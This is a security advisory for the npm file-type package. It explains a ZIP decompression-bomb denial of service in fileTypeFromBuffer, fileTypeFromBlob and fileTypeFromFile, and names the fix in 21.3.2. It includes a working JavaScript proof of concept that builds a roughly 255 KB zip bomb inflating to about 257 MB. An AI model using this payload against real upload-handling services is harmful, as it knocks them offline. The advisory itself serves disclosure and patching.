GHSA-j47w-4g3g-c36v file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry

• npm file-type: >= 20.0.0, < 21.3.2 → fixed in 21.3.2

Summary A crafted ZIP file can trigger excessive memory growth during type detection in `file-type` when using `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()`. In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause `file-type` to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB` of RSS growth during `fileTypeFromBuffer()`. This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash. Root Cause The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size. For stream inputs, ZIP probing was bounded by `maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as buffers, blobs, and files, the code instead used `Number.MAX_SAFE_INTEGER` in two relevant places: ```js const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer) ? maximumZipEntrySizeInBytes : Number.MAX_SAFE_INTEGER; ``` and: ```js const maximumLength = hasUnknownFileSize(this.tokenizer) ? maximumZipEntrySizeInBytes : Number.MAX_SAFE_INTEGER; ``` Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as `[Content_Types].xml`. Proof of Concept ```js import {fileTypeFromBuffer} from 'file-type'; import archiver from 'archiver'; import {Writable} from 'node:stream'; async function createZipBomb(sizeInMegabytes) { return new Promise((resolve, reject) => { const chunks = []; const writable = new Writable({ write(chunk, encoding, callback) { chunks.push(chunk); callback(); }, }); const archive = archiver('zip', {zlib: {level: 9}}); archive.pipe(writable); writable.on('finish', () => { resolve(Buffer.concat(chunks)); }); archive.on('error', reject); const xmlPrefix = ''; const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20); archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'}); archive.finalize(); }); } const zip = await createZipBomb(256); console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0)); const before = process.memoryUsage().rss; await fileTypeFromBuffer(zip); const after = process.memoryUsage().rss; console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0)); ``` Observed on `file-type` `21.3.1`: • ZIP size: about `255 KB` • RSS growth during detection: about `257 MB` Affected APIs Affected: • `fileTypeFromBuffer()` • `fileTypeFromBlob()` • `fileTypeFromFile()` Not affected: • `fileTypeFromStream()`, which already enforced the ZIP inflate limit for unknown-size inputs Impact Applications that inspect untrusted uploads with `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments. Cause The issue was introduced in 399b0f1